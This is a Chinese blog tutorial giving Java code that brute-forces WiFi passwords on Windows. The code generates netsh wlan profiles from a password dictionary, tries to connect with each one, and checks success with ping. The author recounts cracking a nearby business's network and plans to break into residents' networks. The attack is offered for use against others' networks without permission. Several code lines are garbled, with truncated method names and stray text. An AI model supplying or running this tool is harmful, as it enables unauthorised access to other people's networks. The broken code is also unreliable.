Java编程实现暴⼒破解WIFI密码的⽅法分析
本⽂实例讲述了Java编程实现暴⼒破解WIFI密码的⽅法。分享给⼤家供⼤家参考,具体如下:
开始进⼊正题。在⽹上了很多wifi破解⼯具,都是linux平台下⽤的,然后还不⽀持虚拟机装linux。因为很多笔记本装虚拟机都识别不了内置⽹卡。所以得把系统刻到U盘,然后⽤U盘启动。但是我现在穷得连⼀条内裤都没有了,哪来的U盘啊。于是就决定⾃⼰写,⽽且还得⽤Java写,写了我还得在windows上运⾏。
⼀、准备⼯作
⾸先你得需要⼀台能连wifi的电脑,
然后你的电脑得⽀持Java环境,
最后你周围得有⽆线⽹络。
ok,话不多说,说开撸,⽼夫就要开撸。于是⽹上到了windows下cmd⽆线⽹络操作的相关命令。如下:
// 列出所有可⽤wifi
netsh wlan show networks mode=bssid
// 添加配置⽂件
netsh wlan add profile filename=FILE_NAME
// 连接wifi
netsh wlan connect name=SSID_NAME
// 导出配置⽂件
netsh wlan export profile key=clear
// 列出配置⽂件
netsh wlan show profile
// 删除配置⽂件
netsh wlan delete profile name=FILE_NAME
/
/ 列出接⼝
netsh wlan show interface
// 开启接⼝
netsh interface set interface "Interface Name" enabled
⾸先需要写配置⽂件,⽅便待会使⽤。⾸先我们可以看看配置⽂件张啥样,导出配置⽂件看看就知道了。打开命令⾏,输⼊这我这篇⽂章中,主要会⽤到前四个命令,其他的命令就当给各位做拓展了。
netsh wlan export profile key=clear
就导出了配置⽂件,注意,这⼉的配置⽂件默认导出在cmd执⾏的当前路径,如下,
我导出的⽂件就在 C:\Users\Admin 下⾯,可以看到⽂件都是l⽅式。如 l ,随便打开⼀个我们可以看到xml⽂件的具体内容,但是有⼀些内容是我们不需要的,我们需要的是下⾯这个样⼦
<?xml version="1.0"?>
<WLANProfile xmlns="www.microsoft/networking/WLAN/profile/v1">
<name>SSID_NAME</name>
<SSIDConfig>
<SSID>
<name>SSID_NAME</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>AUTH_TYPE</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>PASSWORD</keyMaterial>
</sharedKey>
</security>
</MSM>
<MacRandomization xmlns="www.microsoft/networking/WLAN/profile/v3">
<enableRandomization>false</enableRandomization>
</MacRandomization>
</WLANProfile>
⼆、扫描WIFI
其中 SSID_NAME 是待会我们会⽤到的wifi名称, AUTH_TYPE 是wifi的加密⽅式, PASSWORD 是我们会暴⼒破解的密码变量。
OK,背景交代得差不多了,可以开⼲了。⾸先扫描附近的WIFI,返回所有WIFI的信息,包括SSID、加密⽅式、信号强度(信号太弱的,我们就不进⾏破解了,破解了也没啥⽤)。扫描其实就是执⾏⼀个CMD命令的问题,先封装⼀个CMD执⾏器吧。/**
* 执⾏器
*
* @param cmd CMD命令
* @param filePath 需要在哪个⽬录下执⾏
*/
private static List<String> execute(String cmd, String filePath) {
Process process = null;
List<String> result = new ArrayList<String>();
try {
if (filePath != null) {
process = Runtime().exec(cmd, null, new File(filePath));
} else {
process = Runtime().exec(cmd);
}
BufferedReader bReader = new BufferedReader(new InputStream(), "gbk"));
String line = null;
while ((line = adLine()) != null) {
result.add(line);
}
} catch (IOException e) {
e.printStackTrace();
}
return result;
}
/**
* 列出所有信号较好的ssid
*
* @return 所有ssid
*/
public static List<Ssid> listSsid() {
List<Ssid> ssidList = new ArrayList<Ssid>();
String cmd = Command.SHOW_NETWORKS;
List<String> result = execute(cmd, null);
if (result != null && result.size() > 0) {
/
/ todo 整合信息
}
return ssidList;
}
然后扫描周围wifi信息,并返回相关信息
三、⽣成配置⽂件
OK,接下来我们就可以开始针对每个不同的SSID⽣成不同的配置⽂件了,⽣成⽂件整个过程就是根据每个不同的密码⽣成⼀个配置⽂件。⼤概代码如下
/**
* 配置⽂件⽣成器
*/
public class ProfileGenerator {
private String ssid = null;
private String passwrodPath = null;
private ExecutorService threadPool = wFixedThreadPool(4);
public ProfileGenerator(String ssid, String passwrodPath) {
this.ssid = ssid;
this.passwrodPath = passwrodPath;
}
/**
* ⽣成配置⽂件
*/
public void genProfile() {
List<String> passwordList = null;
int counter = 0;
outer:
while (true) {
int start = counter * Connector.BATH_SIZE;
int end = (counter + 1) * Connector.BATH_SIZE - 1;
passwordList = adLine(passwrodPath, start, end);
if (passwordList != null && passwordList.size() > 0) {
// ⽣成配置⽂件
for (String password : passwordList) {
GenThread genThread = new GenThread(ssid, password);
}
} else {
break outer;java replace方法
}
counter++;
}
}
}
class GenThread implements Runnable {
private String ssid = null;
private String password = null;
GenThread(String ssid, String password) {
this.ssid = ssid;
this.password = password;
}
public void run() {
String profileContent = place(Profile.WIFI_NAME, ssid);
profileContent = place(Profile.WIFI_PASSWORD, password);
FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH + "\\" + password + ".xml", profileContent);
}
}
需要哪些密码可以⾃⼰现在⽹上⼀些字典来跑,建议顺序是常⽤弱⼝令 => 字典⾯ => 随机密码(到了随机密码这⼉,意义也不⼤了)。这⼉给出⼀个常见弱⼝令的。反正我只⽤这个弱⼝令破解过⼀个WIFI。这⼉为了加快⽂件⽣成速度,我开启了多线程。个⼈实际感受,如果只是⼏千到⼏万个的话,其实多线程不多线程,并没有多⼤区别,真正的区别在于后⾯尝试连接的时候。
四、遍历校验配置⽂件
接下来就是最耗时的⼀步了,⼀个个密码去校验。关键代码如下
/**
* 校验WLAN配置⽂件是否正确
* <p>
* 校验步骤为:
* ---step1 添加配置⽂件
* ---step3 连接wifi
* ---step3 ping校验
*/
public synchronized boolean check(String ssid, String password) {
System.out.println("check : " + password);
try {
String profileName = password + ".xml";
if (addProfile(profileName)) {
if (connect(ssid)) {
Thread.sleep(50);
if (ping()) {
return true;
}
}
}
} catch (InterruptedException e) {
e.printStackTrace();
}
return false;
}
/**
* 添加配置⽂件
*
* @param profileName 添加配置⽂件
*/
private static boolean addProfile(String profileName) {
String cmd = Command.place("FILE_NAME", profileName);
List<String> result = execute(cmd, Connector.PROFILE_TEMP_PATH);
if (result != null && result.size() > 0) {
if ((0).contains("添加到接⼝")) {
return true;
}
}
return false;
}
/**
* 连接wifi
*
* @param ssid 添加配置⽂件
*/
private static boolean connect(String ssid) {
boolean connected = false;
String cmd = place("SSID_NAME", ssid);
List<String> result = execute(cmd, null);
if (result != null && result.size() > 0) {
if ((0).contains("已成功完成")) {
connected = true;
}
}
return connected;
}
/**
* ping 校验
*/
private static boolean ping() {
boolean pinged = false;
String cmd = "ping " + Connector.PING_DOMAIN;
List<String> result = execute(cmd, null);
if (result != null && result.size() > 0) {
for (String item : result) {
if (ains("来⾃")) {
pinged = true;
break;
}
}
}
return pinged;
}
两点释疑:
1. 为什么需要sleep(50)? 因为在连接后,电脑没有⽴即反应过来,此时去ping的话,就算密码正确,都会ping不成功。所以需要sleep。我破解的时候sleep(1000)的,还没测试50⾏不⾏。
2. 为什么需要ping⽹站? 因为在第⼆步连接的时候,不管有没有连接成功,都会出现 ‘已成功完成xx连接' 的字样。所以没办法,只有⽤ping来校验,不过我相信⼀定能够优化的。
这⼀步我开启了多线程,去验证,有⼈说为什么⽤多线程,明明验证⽅法都 synchronized 了,我想说的是,单线程的话,之间总会有间隙的,所以为了压榨那⼀点点时间,我⽤了多线程。
五、连接成功
OK,⾄此,为师已将毕⽣功⼒传授给你了,你出去就说是三年经验了。呸,说错了,⾄此,整个流程⼤概就已经出来了,接下来就run你的程序吧。等待密码的破解。
我⼀共在我家周围瞄上了三个信号看起来还可以的wifi。⽤这个程序跑了40多秒,开了⼀个wifi的密码 12345678。耶成功了终于可以⽤了。
然后根据密码,把⾃家路由器设置⼀个桥接模式。家⾥处处都有⽹了。
五、或者放弃
或者,你也可以放弃。愉快地⽤了⼀晚上过后,我第⼆天早上起来发现⽹断了,原来那个⽹不存在了,但是到了中午⼜有了。我估计是底商闭店了,就断电了,⽹就没了。
于是想要撬开⼀个住户的⽹,跑了两个看起来信号⽐较好的⽹络,都以失败告终因为密码字典不够强⼤。⽹上下过⼏个字典⽣成器,都不能⽤。算了吧先凑合⽤着现在的⽹络,等我有空了,写个字典⽣成器,来撬开。
更多关于java相关内容感兴趣的读者可查看本站专题:《》、《》、《》、《》、《》和《》希望本⽂所述对⼤家java程序设计有所帮助。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论